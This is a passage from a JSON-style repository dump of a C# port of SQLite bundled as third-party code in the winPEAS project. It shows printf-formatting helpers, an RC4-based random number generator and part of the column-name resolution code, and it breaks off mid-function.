etSQLESCAPE2:\n          case etSQLESCAPE3:\n            {\n              int i; int j; int n;\n              bool isnull;\n              bool needQuote;\n              char ch;\n              char q = ( ( xtype == etSQLESCAPE3 ) ? '\"' : '\\'' );   /* Quote character */\n              string escarg = (string)va_arg( ap, \"char*\" ) + '\\0';\n              isnull = ( escarg == \"\" || escarg == \"NULL\\0\" );\n              if ( isnull ) escarg = ( xtype == etSQLESCAPE2 ) ? \"NULL\\0\" : \"(NULL)\\0\";\n              for ( i = n = 0 ; ( ch = escarg[i] ) != 0 ; i++ )\n              {\n                if ( ch == q ) n++;\n              }\n              needQuote = !isnull && ( xtype == etSQLESCAPE2 );\n              n += i + 1 + ( needQuote ? 2 : 0 );\n              if ( n > etBUFSIZE )\n              {\n                buf = new char[n];//bufpt = zExtra = sqlite3Malloc(n);\n                //if ( bufpt == 0 )\n                //{\n                //  pAccum->mallocFailed = 1;\n                //  return;\n                //}\n                bufpt = 0; //Start of Buffer\n              }\n              else\n              {\n                //bufpt = buf;\n                bufpt = 0; //Start of Buffer\n              }\n              j = 0;\n              if ( needQuote ) buf[bufpt + j++] = q;\n              for ( i = 0 ; ( ch = escarg[i] ) != 0 ; i++ )\n              {\n                buf[bufpt + j++] = ch;\n                if ( ch == q ) buf[bufpt + j++] = ch;\n              }\n              if ( needQuote ) buf[bufpt + j++] = q;\n              buf[bufpt + j] = '\\0';\n              length = j;\n              /* The precision is ignored on %q and %Q */\n              /* if( precision>=0 && precision<length ) length = precision; */\n              break;\n            }\n          case etTOKEN:\n            {\n              Token pToken = (Token)va_arg( ap, \"Token\" );\n              if ( pToken != null )\n              {\n                sqlite3StrAccumAppend( pAccum, pToken.z.ToString(), (int)pToken.n );\n              }\n              length = width = 0;\n              break;\n            }\n          case etSRCLIST:\n            {\n              SrcList pSrc = (SrcList)va_arg( ap, \"SrcList\" );\n              int k = (int)va_arg( ap, \"int\" );\n              SrcList_item pItem = pSrc.a[k];\n              Debug.Assert( k >= 0 && k < pSrc.nSrc );\n              if ( pItem.zDatabase != null )\n              {\n                sqlite3StrAccumAppend( pAccum, pItem.zDatabase, -1 );\n                sqlite3StrAccumAppend( pAccum, \".\", 1 );\n              }\n              sqlite3StrAccumAppend( pAccum, pItem.zName, -1 );\n              length = width = 0;\n              break;\n            }\n          default:\n            {\n              Debug.Assert( xtype == etINVALID );\n              return;\n            }\n        }/* End switch over the format type */\n        /*\n        ** The text of the conversion is pointed to by \"bufpt\" and is\n        ** \"length\" characters long.  The field width is \"width\".  Do\n        ** the output.\n        */\n        if ( !flag_leftjustify )\n        {\n          int nspace;\n          nspace = width - length;// -2;\n          if ( nspace > 0 )\n          {\n            appendSpace( pAccum, nspace );\n          }\n        }\n        if ( length > 0 )\n        {\n          sqlite3StrAccumAppend( pAccum, new string( buf, bufpt, length ), length );\n        }\n        if ( flag_leftjustify )\n        {\n          int nspace;\n          nspace = width - length;\n          if ( nspace > 0 )\n          {\n            appendSpace( pAccum, nspace );\n          }\n        }\n        //if( zExtra ){\n        //  //sqlite3DbFree(db,ref  zExtra);\n        //}\n      }/* End for loop over the format string */\n    } /* End of function */\n\n    /*\n    ** Append N bytes of text from z to the StrAccum object.\n    */\n\n    static void sqlite3StrAccumAppend( StrAccum p, string z, int N )\n    {\n      Debug.Assert( z != null || N == 0 );\n      if ( p.tooBig != 0 )//|| p.mallocFailed != 0 )\n      {\n        testcase( p.tooBig );\n        //testcase( p.mallocFailed );\n        return;\n      }\n      if ( N < 0 )\n      {\n        N = sqlite3Strlen30( z );\n      }\n      if ( N == 0 || NEVER( z == null ) )\n      {\n        return;\n      }\n      //if ( p.nChar + N >= p.nAlloc )\n      //{\n      //  char* zNew;\n      //  if ( !p.useMalloc )\n      //  {\n      //    p.tooBig = 1;\n      //    N = p.nAlloc - p.nChar - 1;\n      //    if ( N <= 0 )\n      //    {\n      //      return;\n      //    }\n      //  }\n      //  else\n      //  {\n      //    i64 szNew = p.nChar;\n      //    szNew += N + 1;\n      //    if ( szNew > p.mxAlloc )\n      //    {\n      //      sqlite3StrAccumReset( p );\n      //      p.tooBig = 1;\n      //      return;\n      //    }\n      //    else\n      //    {\n      //      p.nAlloc = (int)szNew;\n      //    }\n      //    zNew = sqlite3DbMalloc( p.nAlloc );\n      //    if ( zNew )\n      //    {\n      //      memcpy( zNew, p.zText, p.nChar );\n      //      sqlite3StrAccumReset( p );\n      //      p.zText = zNew;\n      //    }\n      //    else\n      //    {\n      //      p.mallocFailed = 1;\n      //      sqlite3StrAccumReset( p );\n      //      return;\n      //    }\n      //  }\n      //}\n      //memcpy( &p.zText[p.nChar], z, N );\n      p.zText.Append( z.Substring( 0, N <= z.Length ? N : z.Length ) );\n      p.nChar += N;\n    }\n\n    /*\n    ** Finish off a string by making sure it is zero-terminated.\n    ** Return a pointer to the resulting string.  Return a NULL\n    ** pointer if any kind of error was encountered.\n    */\n    static string sqlite3StrAccumFinish( StrAccum p )\n    {\n      //if (p.zText.Length > 0)\n      //{\n      //  p.zText[p.nChar] = 0;\n      //  if (p.useMalloc && p.zText == p.zBase)\n      //  {\n      //    p.zText = sqlite3DbMalloc(p.nChar + 1);\n      //    if (p.zText)\n      //    {\n      //      memcpy(p.zText, p.zBase, p.nChar + 1);\n      //    }\n      //    else\n      //    {\n      //      p.mallocFailed = 1;\n      //    }\n      //  }\n      //}\n      return p.zText.ToString();\n    }\n\n    /*\n    ** Reset an StrAccum string.  Reclaim all malloced memory.\n    */\n    static void sqlite3StrAccumReset( StrAccum p )\n    {\n      if ( p.zText.ToString() != p.zBase.ToString() )\n      {\n        //sqlite3DbFree( p.db, ref p.zText );\n      }\n      p.zText = new StringBuilder();\n    }\n\n    /*\n    ** Initialize a string accumulator\n    */\n    static void sqlite3StrAccumInit( StrAccum p, StringBuilder zBase, int n, int mx )\n    {\n      p.zText = p.zBase = zBase;\n      p.db = null;\n      p.nChar = 0;\n      p.nAlloc = n;\n      p.mxAlloc = mx;\n      p.useMalloc = 1;\n      p.tooBig = 0;\n      //p.mallocFailed = 0;\n    }\n\n    /*\n    ** Print into memory obtained from sqliteMalloc().  Use the internal\n    ** %-conversion extensions.\n    */\n    static string sqlite3VMPrintf( sqlite3 db, string zFormat, params va_list[] ap )\n    {\n      if ( zFormat == null ) return null;\n      if ( ap.Length == 0 ) return zFormat;\n      string z;\n      StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE );\n      StrAccum acc = new StrAccum();\n      Debug.Assert( db != null );\n      sqlite3StrAccumInit( acc, zBase, zBase.Capacity, //zBase).Length;\n      db.aLimit[SQLITE_LIMIT_LENGTH] );\n      acc.db = db;\n      sqlite3VXPrintf( acc, 1, zFormat, ap );\n      z = sqlite3StrAccumFinish( acc );\n//      if ( acc.mallocFailed != 0 )\n//      {\n//////        db.mallocFailed = 1;\n//      }\n      return z;\n    }\n\n    /*\n    ** Print into memory obtained from sqliteMalloc().  Use the internal\n    ** %-conversion extensions.\n    */\n    static string sqlite3MPrintf( sqlite3 db, string zFormat, params va_list[] ap )\n    {\n      //va_list ap;\n      string z;\n      va_start( ap, zFormat );\n      z = sqlite3VMPrintf( db, zFormat, ap );\n      va_end( ap );\n      return z;\n    }\n\n    /*\n    ** Like sqlite3MPrintf(), but call //sqlite3DbFree() on zStr after formatting\n    ** the string and before returnning.  This routine is intended to be used\n    ** to modify an existing string.  For example:\n    **\n    **       x = sqlite3MPrintf(db, x, \"prefix %s suffix\", x);\n    **\n    */\n    static string sqlite3MAppendf( sqlite3 db, string zStr, string zFormat, params  va_list[] ap )\n    {\n      //va_list ap;\n      string z;\n      va_start( ap, zFormat );\n      z = sqlite3VMPrintf( db, zFormat, ap );\n      va_end( ap );\n      //sqlite3DbFree( db, zStr );\n      return z;\n    }\n\n    /*\n    ** Print into memory obtained from sqlite3Malloc().  Omit the internal\n    ** %-conversion extensions.\n    */\n    static string sqlite3_vmprintf( string zFormat, params  va_list[] ap )\n    {\n      string z;\n      StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE );\n      StrAccum acc = new StrAccum();\n#if !SQLITE_OMIT_AUTOINIT\n      if ( sqlite3_initialize() != 0 ) return \"\";\n#endif\n      sqlite3StrAccumInit( acc, zBase, zBase.Length, SQLITE_PRINT_BUF_SIZE );//zBase).Length;\n      sqlite3VXPrintf( acc, 0, zFormat, ap );\n      z = sqlite3StrAccumFinish( acc );\n      return z;\n    }\n\n    /*\n    ** Print into memory obtained from sqlite3Malloc()().  Omit the internal\n    ** %-conversion extensions.\n    */\n    public static string sqlite3_mprintf( string zFormat, params va_list[] ap )\n    { //, ...){\n      //va_list ap;\n      string z;\n#if  !SQLITE_OMIT_AUTOINIT\n      if ( sqlite3_initialize() != 0 ) return \"\";\n#endif\n      va_start( ap, zFormat );\n      z = sqlite3_vmprintf( zFormat, ap );\n      va_end( ap );\n      return z;\n    }\n\n    /*\n    ** sqlite3_snprintf() works like snprintf() except that it ignores the\n    ** current locale settings.  This is important for SQLite because we\n    ** are not able to use a \",\" as the decimal point in place of \".\" as\n    ** specified by some locales.\n    */\n    public static string sqlite3_snprintf( int n, ref StringBuilder zBuf, string zFormat, params va_list[] ap )\n    {\n      StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE );\n      //va_list ap;\n      StrAccum acc = new StrAccum();\n\n      if ( n <= 0 )\n      {\n        return zBuf.ToString();\n      }\n      sqlite3StrAccumInit( acc, zBase, n, 0 );\n      acc.useMalloc = 0;\n      va_start( ap, zFormat );\n      sqlite3VXPrintf( acc, 0, zFormat, ap );\n      va_end( ap );\n      zBuf.Length = 0;\n      zBuf.Append( sqlite3StrAccumFinish( acc ) );\n      if ( n - 1 < zBuf.Length ) zBuf.Length = n - 1;\n      return zBuf.ToString();\n    }\n\n    public static string sqlite3_snprintf( int n, ref string zBuf, string zFormat, params va_list[] ap )\n    {\n      string z;\n      StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE );\n      //va_list ap;\n      StrAccum acc = new StrAccum();\n\n      if ( n <= 0 )\n      {\n        return zBuf;\n      }\n      sqlite3StrAccumInit( acc, zBase, n, 0 );\n      acc.useMalloc = 0;\n      va_start( ap, zFormat );\n      sqlite3VXPrintf( acc, 0, zFormat, ap );\n      va_end( ap );\n      z = sqlite3StrAccumFinish( acc );\n      return ( zBuf = z );\n    }\n\n#if SQLITE_DEBUG || DEBUG || TRACE\n    /*\n** A version of printf() that understands %lld.  Used for debugging.\n** The printf() built into some versions of windows does not understand %lld\n** and segfaults if you give it a long long int.\n*/\n    static void sqlite3DebugPrintf( string zFormat, params va_list[] ap )\n    {\n      //va_list ap;\n      StrAccum acc = new StrAccum();\n      StringBuilder zBuf = new StringBuilder( SQLITE_PRINT_BUF_SIZE );\n      sqlite3StrAccumInit( acc, zBuf, zBuf.Capacity, 0 );\n      acc.useMalloc = 0;\n      va_start( ap, zFormat );\n      sqlite3VXPrintf( acc, 0, zFormat, ap );\n      va_end( ap );\n      sqlite3StrAccumFinish( acc );\n      Console.Write( zBuf.ToString() );\n      //fflush(stdout);\n    }\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/random_c.cs",
    "content": "using System;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code to implement a pseudo-random number\n    ** generator (PRNG) for SQLite.\n    **\n    ** Random numbers are used by some of the database backends in order\n    ** to generate random integer keys for tables or random filenames.\n    **\n    ** $Id: random.c,v 1.29 2008/12/10 19:26:24 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n\n    /* All threads share a single random number generator.\n    ** This structure is the current state of the generator.\n    */\n    public class sqlite3PrngType\n    {\n      public bool isInit;      /* True if initialized */\n      public int i;\n      public int j;            /* State variables */\n      public u8[] s = new u8[256];          /* State variables */\n\n      public sqlite3PrngType Copy()\n      {\n        sqlite3PrngType cp = (sqlite3PrngType)MemberwiseClone();\n        cp.s = new u8[s.Length];\n        Array.Copy( s, cp.s, s.Length );\n        return cp;\n      }\n    }\n    public static sqlite3PrngType sqlite3Prng = new sqlite3PrngType();\n    /*\n    ** Get a single 8-bit random value from the RC4 PRNG.  The Mutex\n    ** must be held while executing this routine.\n    **\n    ** Why not just use a library random generator like lrand48() for this?\n    ** Because the OP_NewRowid opcode in the VDBE depends on having a very\n    ** good source of random numbers.  The lrand48() library function may\n    ** well be good enough.  But maybe not.  Or maybe lrand48() has some\n    ** subtle problems on some systems that could cause problems.  It is hard\n    ** to know.  To minimize the risk of problems due to bad lrand48()\n    ** implementations, SQLite uses this random number generator based\n    ** on RC4, which we know works very well.\n    **\n    ** (Later):  Actually, OP_NewRowid does not depend on a good source of\n    ** randomness any more.  But we will leave this code in all the same.\n    */\n    static u8 randomu8()\n    {\n      u8 t;\n\n      /* The \"wsdPrng\" macro will resolve to the pseudo-random number generator\n      ** state vector.  If writable static data is unsupported on the target,\n      ** we have to locate the state vector at run-time.  In the more common\n      ** case where writable static data is supported, wsdPrng can refer directly\n      ** to the \"sqlite3Prng\" state vector declared above.\n      */\n#if SQLITE_OMIT_WSD\nstruct sqlite3PrngType *p = &GLOBAL(struct sqlite3PrngType, sqlite3Prng);\n//# define wsdPrng p[0]\n#else\n      //# define wsdPrng sqlite3Prng\n      sqlite3PrngType wsdPrng = sqlite3Prng;\n#endif\n\n\n      /* Initialize the state of the random number generator once,\n** the first time this routine is called.  The seed value does\n** not need to contain a lot of randomness since we are not\n** trying to do secure encryption or anything like that...\n**\n** Nothing in this file or anywhere else in SQLite does any kind of\n** encryption.  The RC4 algorithm is being used as a PRNG (pseudo-random\n** number generator) not as an encryption device.\n*/\n      if ( !wsdPrng.isInit )\n      {\n        int i;\n        u8[] k = new u8[256];\n        wsdPrng.j = 0;\n        wsdPrng.i = 0;\n        sqlite3OsRandomness( sqlite3_vfs_find( \"\" ), 256, ref k );\n        for ( i = 0 ; i < 255 ; i++ )\n        {\n          wsdPrng.s[i] = (u8)i;\n        }\n        for ( i = 0 ; i < 255 ; i++ )\n        {\n          wsdPrng.j = (u8)( wsdPrng.j + wsdPrng.s[i] + k[i] );\n          t = wsdPrng.s[wsdPrng.j];\n          wsdPrng.s[wsdPrng.j] = wsdPrng.s[i];\n          wsdPrng.s[i] = t;\n        }\n        wsdPrng.isInit = true;\n      }\n\n      /* Generate and return single random u8\n      */\n      wsdPrng.i++;\n      t = wsdPrng.s[(u8)wsdPrng.i];\n      wsdPrng.j = (u8)( wsdPrng.j + t );\n      wsdPrng.s[(u8)wsdPrng.i] = wsdPrng.s[wsdPrng.j];\n      wsdPrng.s[wsdPrng.j] = t;\n      t += wsdPrng.s[(u8)wsdPrng.i];\n      return wsdPrng.s[t];\n    }\n\n    /*\n    ** Return N random u8s.\n    */\n    static void sqlite3_randomness( int N, ref i64 pBuf )\n    {\n      //u8[] zBuf = new u8[N];\n      pBuf = 0;\n#if SQLITE_THREADSAFE\nsqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_PRNG );\n#endif\n      sqlite3_mutex_enter( mutex );\n      while ( N-- > 0 )\n      {\n        pBuf = (u32)( ( pBuf << 8 ) + randomu8() );//  zBuf[N] = randomu8();\n      }\n      sqlite3_mutex_leave( mutex );\n    }\n\n#if !SQLITE_OMIT_BUILTIN_TEST\n    /*\n** For testing purposes, we sometimes want to preserve the state of\n** PRNG and restore the PRNG to its saved state at a later time, or\n** to reset the PRNG to its initial state.  These routines accomplish\n** those tasks.\n**\n** The sqlite3_test_control() interface calls these routines to\n** control the PRNG.\n*/\n    static sqlite3PrngType sqlite3SavedPrng = null;\n    static void sqlite3PrngSaveState()\n    {\n      sqlite3SavedPrng = sqlite3Prng.Copy();\n      //      memcpy(\n      //  &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng),\n      //  &GLOBAL(struct sqlite3PrngType, sqlite3Prng),\n      //  sizeof(sqlite3Prng)\n      //);\n    }\n    static void sqlite3PrngRestoreState()\n    {\n      sqlite3Prng = sqlite3SavedPrng.Copy();\n      //memcpy(\n      //  &GLOBAL(struct sqlite3PrngType, sqlite3Prng),\n      //  &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng),\n      //  sizeof(sqlite3Prng)\n      //);\n    }\n    static void sqlite3PrngResetState()\n    {\n      sqlite3Prng.isInit = false;//  GLOBAL(struct sqlite3PrngType, sqlite3Prng).isInit = 0;\n    }\n#endif //* SQLITE_OMIT_BUILTIN_TEST */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/resolve_c.cs",
    "content": "using System.Diagnostics;\nusing Bitmask = System.UInt64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2008 August 18\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains routines used for walking the parser tree and\n    ** resolve all identifiers by associating them with a particular\n    ** table and column.\n    **\n    ** $Id: resolve.c,v 1.30 2009/06/15 23:15:59 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdlib.h>\n    //#include <string.h>\n\n    /*\n    ** Turn the pExpr expression into an alias for the iCol-th column of the\n    ** result set in pEList.\n    **\n    ** If the result set column is a simple column reference, then this routine\n    ** makes an exact copy.  But for any other kind of expression, this\n    ** routine make a copy of the result set column as the argument to the\n    ** TK_AS operator.  The TK_AS operator causes the expression to be\n    ** evaluated just once and then reused for each alias.\n    **\n    ** The reason for suppressing the TK_AS term when the expression is a simple\n    ** column reference is so that the column reference will be recognized as\n    ** usable by indices within the WHERE clause processing logic.\n    **\n    ** Hack:  The TK_AS operator is inhibited if zType[0]=='G'.  This means\n    ** that in a GROUP BY clause, the expression is evaluated twice.  Hence:\n    **\n    **     SELECT random()%5 AS x, count(*) FROM tab GROUP BY x\n    **\n    ** Is equivalent to:\n    **\n    **     SELECT random()%5 AS x, count(*) FROM tab GROUP BY random()%5\n    **\n    ** The result of random()%5 in the GROUP BY clause is probably different\n    ** from the result in the result-set.  We might fix this someday.  Or\n    ** then again, we might not...\n    */\n    static void resolveAlias(\n    Parse pParse,         /* Parsing context */\n    ExprList pEList,      /* A result set */\n    int iCol,             /* A column in the result set.  0..pEList.nExpr-1 */\n    Expr pExpr,       /* Transform this into an alias to the result set */\n    string zType          /* \"GROUP\" or \"ORDER\" or \"\" */\n    )\n    {\n      Expr pOrig;           /* The iCol-th column of the result set */\n      Expr pDup;            /* Copy of pOrig */\n      sqlite3 db;           /* The database connection */\n\n      Debug.Assert( iCol >= 0 && iCol < pEList.nExpr );\n      pOrig = pEList.a[iCol].pExpr;\n      Debug.Assert( pOrig != null );\n      Debug.Assert( ( pOrig.flags & EP_Resolved ) != 0 );\n      db = pParse.db;\n      if ( pOrig.op != TK_COLUMN && ( zType.Length == 0 || zType[0] != 'G' ) )\n      {\n        pDup = sqlite3ExprDup( db, pOrig, 0 );\n        pDup = sqlite3PExpr( pParse, TK_AS, pDup, null, null );\n        if ( pDup == null ) return;\n        if ( pEList.a[iCol].iAlias == 0 )\n        {\n          pEList.a[iCol].iAlias = (u16)( ++pParse.nAlias );\n        }\n        pDup.iTable = pEList.a[iCol].iAlias;\n      }\n      else if ( ExprHasProperty( pOrig, EP_IntValue ) || pOrig.u.zToken == null )\n      {\n        pDup = sqlite3ExprDup( db, pOrig, 0 );\n        if ( pDup == null ) return;\n      }\n      else\n      {\n        string zToken = pOrig.u.zToken;\n        Debug.Assert( zToken != null );\n        pOrig.u.zToken = null;\n        pDup = sqlite3ExprDup( db, pOrig, 0 );\n        pOrig.u.zToken = zToken;\n        if ( pDup == null ) return;\n        Debug.Assert( ( pDup.flags & ( EP_Reduced | EP_TokenOnly ) ) == 0 );\n        pDup.flags2 |= EP2_MallocedToken;\n        pDup.u.zToken = zToken;// sqlite3DbStrDup( db, zToken );\n      }\n      if ( ( pExpr.flags & EP_ExpCollate ) != 0 )\n      {\n        pDup.pColl = pExpr.pColl;\n        pDup.flags |= EP_ExpCollate;\n      }\n      sqlite3ExprClear( db, pExpr );\n      pExpr.CopyFrom( pDup ); //memcpy(pExpr, pDup, sizeof(*pExpr));\n      //sqlite3DbFree( db, ref pDup );\n    }\n\n    /*\n    ** Given the name of a column of the form X.Y.Z or Y.Z or just Z, look up\n    ** that name in the set of source tables in pSrcList and make the pExpr\n    ** expression node refer back to that source column.  The following changes\n    ** are made to pExpr:\n    **\n    **    pExpr->iDb           Set the index in db->aDb[] of the database X\n    **                         (even if X is implied).\n    **    pExpr->iTable        Set to the cursor number for the table obtained\n    **                         from pSrcList.\n    **    pExpr->pTab          Points to the Table structure of X.Y (even if\n    **                         X and/or Y are implied.)\n    **    pExpr->iColumn       Set to the column number within the table.\n    **    pExpr->op            Set to TK_COLUMN.\n    **    pExpr->pLeft         Any expression this points to is deleted\n    **    pExpr->pRight        Any expression this points to is deleted.\n    **\n    ** The zDb variable is the name of the database (the \"X\").  This value may be\n    ** NULL meaning that name is of the form Y.Z or Z.  Any available database\n    ** can be used.  The zTable variable is the name of the table (the \"Y\").  This\n    ** value can be NULL if zDb is also NULL.  If zTable is NULL it\n    ** means that the form of the name is Z and that columns from any table\n    ** can be used.\n    **\n    ** If the name cannot be resolved unambiguously, leave an error message\n    ** in pParse and return WRC_Abort.  Return WRC_Prune on success.\n    */\n    static int lookupName(\n    Parse pParse,       /* The parsing context */\n    string zDb,         /* Name of the database containing table, or NULL */\n    string zTab,        /* Name of table containing column, or NULL */\n    string zCol,        /* Name of the column. */\n    NameContext pNC,    /* The name context used to resolve the name */\n    Expr pExpr          /* Make this EXPR node point to the selected column */\n    )\n    {\n      int i, j;            /* Loop counters */\n      int cnt = 0;                      /* Number of matching column names */\n      int cntTab = 0;                   /* Number of matching table names */\n      sqlite3 db = pParse.db;         /* The database connection */\n      SrcList_item pItem;       /* Use for looping over pSrcList items */\n      SrcList_item pMatch = null;  /* The matching pSrcList item */\n      NameContext pTopNC = pNC;        /* First namecontext in the list */\n      Schema pSchema = null;              /* Schema of the expression */\n\n      Debug.Assert( pNC != null ); /* the name context cannot be NULL. */\n      Debug.Assert( zCol != null );    /* The Z in X.Y.Z cannot be NULL */\n      Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) );\n\n      /* Initialize the node to no-match */\n      pExpr.iTable = -1;\n      pExpr.pTab = null;\n      ExprSetIrreducible( pExpr );\n\n      /* Start at the inner-most context and move outward until a match is found */\n      while ( pNC != null && cnt == 0 )\n      {\n        ExprList pEList;\n        SrcList pSrcList = pNC.pSrcList;\n\n        if ( pSrcList != null )\n        {\n          for ( i = 0 ; i < pSrcList.nSrc ; i++ )//, pItem++ )\n          {\n            pItem = pSrcList.a[i];\n            Table pTab;\n            int iDb;\n            Column pCol;\n\n            pTab = pItem.pTab;\n            Debug.Assert( pTab != null && pTab.zName != null );\n            iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n            Debug.Assert( pTab.nCol > 0 );\n            if ( zTab != null )\n            {\n              if ( pItem.zAlias != null )\n              {\n                string zTabName = pItem.zAlias;\n                if ( sqlite3StrICmp( zTabName, zTab ) != 0 ) continue;\n              }\n              else\n              {\n                string zTabName = pTab.zName;\n                if ( NEVER( zTabName == null ) || sqlite3StrICmp( zTabName, zTab ) != 0 )\n                {\n                  continue;\n                }\n                if ( zDb != null && sqlite3StrICmp( db.aDb[iDb].zName, zDb ) != 0 )\n                {\n                  continue;\n                }\n              }\n            }\n            if ( 0 == ( cntTab++ ) )\n            {\n              pExpr.iTable = pItem.iCursor;\n              pExpr.pTab = pTab;\n              pSchema = pTab.pSchema;\n              pMatch = pItem;\n            }\n            for ( j = 0 ; j < pTab.nCol ; j++ )//, pCol++ )\n            {\n              pCol = pTab.aCol[j];\n              if ( sqlite3StrICmp( pCol.zName, zCol ) == 0 )\n              {\n                IdList pUsing;\n                cnt++;\n                pExpr.iTable = pItem.iCursor;\n                pExpr.pTab = pTab;\n                pMatch = pItem;\n                pSchema = pTab.pSchema;\n                /* Substitute the rowid (column -1) for the INTEGER PRIMARY KEY */\n                pExpr.iColumn = (short)( j == pTab.iPKey ? -1 : j );\n                if ( i < pSrcList.nSrc - 1 )\n                {\n                  if ( ( pSrcList.a[i + 1].jointype & JT_NATURAL ) != 0 )// pItem[1].jointype\n                  {\n                    /* If this match occurred in the left table of a natural join,\n                    ** then skip the right table to avoid a duplicate match */\n                    //pItem++;\n                    i++;\n                  }\n                  else if ( ( pUsing = pSrcList.a[i + 1].pUsing ) != null )//pItem[1].pUsing\n                  {\n                    /* If this match occurs on a column that is in the USING clause\n                    ** of a join, skip the search of the right table of the join\n                    ** to avoid a duplicate match there. */\n                    int k;\n                    for ( k = 0 ; k < pUsing.nId ; k++ )\n                    {\n                      if ( sqlite3StrICmp( pUsing.a[k].zName, zCol ) == 0 )\n                      {\n                        //pItem++;\n                        i++;\n                        break;\n                      }\n                    }\n                  }\n                }\n                break;\n              }\n            }\n          }\n        }\n\n#if !SQLITE_OMIT_TRIGGER\n        /* If we have not already resolved the name, then maybe\n** it is a new.* or old.* trigger argument reference\n*/\n        if ( zDb == null && zTab != null && cnt == 0 && pParse.trigStack != null )\n        {\n          TriggerStack pTriggerStack = pParse.trigStack;\n          Table pTab = null;\n          u32 piColMask = 0;\n          bool bNew = false;\n          bool bOld = false;\n          if ( pTriggerStack.newIdx != -1 && sqlite3StrICmp( \"new\", zTab ) == 0 )\n          {\n            pExpr.iTable = pTriggerStack.newIdx;\n            Debug.Assert( pTriggerStack.pTab != null );\n            pTab = pTriggerStack.pTab;\n            piColMask = pTriggerStack.newColMask;\n            bNew = true;\n          }\n          else if ( pTriggerStack.oldIdx != -1 && sqlite3StrICmp( \"old\", zTab ) == 0 )\n          {\n            pExpr.iTable = pTriggerStack.oldIdx;\n            Debug.Assert( pTriggerStack.pTab != null );\n            pTab = pTriggerStack.pTab;\n            piColMask = pTriggerStack.oldColMask;\n            bOld = true;\n          }\n\n          if ( pTab != null )\n          {\n            int iCol;\n            Column pCol;// = pTab.aCol;\n\n            pSchema = pTab.pSchema;\n            cntTab++;\n            for ( iCol = 0 ; iCol < pTab.nCol ; iCol++ )//, pCol++)\n            {\n              pCol = pTab.aCol[iCol];\n              if ( sqlite3StrICmp( pCol.zName, zCol ) == 0 )\n              {\n                cnt++;\n                pExpr.iColumn = (short)( iCol == pTab.iPKey ? -1 : iCol );\n                pExpr.pTab = pTab;\n                testcase( iCol == 31 );\n                testcase( iCol == 32 );\n                if ( iCol >= 32 )\n                {\n                  piColMask = 0xffffffff;\n                }\n                else\n                {\n                  piColMask |= ( (u32)1 ) << iCol;\n                }\n                break;\n              }\n            }\n            if ( bOld ) pTriggerStack.oldColMask = piColMask;\n            if ( bNew ) pTriggerStack.newColMask = piColMask;\n          }\n        }\n#endif //* !SQLITE_OMIT_TRIGGER) */\n\n        /*\n** Perhaps the name is a reference to the ROWID\n*/\n        if ( cnt == 0 && cntTab == 1 && sqlite3IsRowid( zCol ) )\n        {\n          cnt = 1;\n          pExpr.iColumn = -1;\n          pExpr.affinity = SQLITE_AFF_INTEGER;\n        }\n\n        /*\n        ** If the input is of the form Z (not Y.Z or X.Y.Z) then the name Z\n        ** might refer to an result-set alias.  This happens, for example, when\n        ** we are resolving names in the WHERE clause of the following command:\n        **\n        **     SELECT a+b AS x FROM table WHERE x<10;\n        **\n        ** In cases like this, replace pExpr with a copy of the expression that\n        ** forms the result set entry (\"a+b\" in the example) and return immediately.\n        ** Note that the expression in the result set should have already been\n        ** resolved by the time the WHERE clause is resolved.\n        */\n        if ( cnt == 0 && ( pEList = pNC.pEList ) != null && zTab == null )\n        {\n          for ( j = 0 ; j < pEList.nExpr ; j++ )\n          {\n            string zAs = pEList.a[j].zName;\n            if ( zAs != null && sqlite3StrICmp( zAs, zCol ) == 0 )\n            {\n              Expr pOrig;\n              Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null );\n              Debug.Assert( pExpr.x.pList == null );\n              Debug.Assert( pExpr.x.pSelect == null );\n              pOrig = pEList.a[j].pExpr;\n              if ( 0 == pNC.allowAgg && ExprHasProperty( pOrig, EP_Agg ) )\n              {\n                sqlite3ErrorMsg( pParse, \"misuse of aliased aggregate %s\", zAs );\n                return WRC_Abort;\n              }\n              resolveAlias( pParse, pEList, j, pExpr, \"\" );\n              cnt = 1;\n              pMatch = null;\n              Debug.Assert( zTab == null && zDb == null );\n              goto lookupname_end;\n            }\n          }\n        }\n\n        /* Advance to the next name context.  The loop will exit when either\n        ** we have a match (cnt>0) or when we run out of name contexts.\n        */\n        if ( cnt == 0 )\n        {\n          pNC = pNC.pNext;\n        }\n      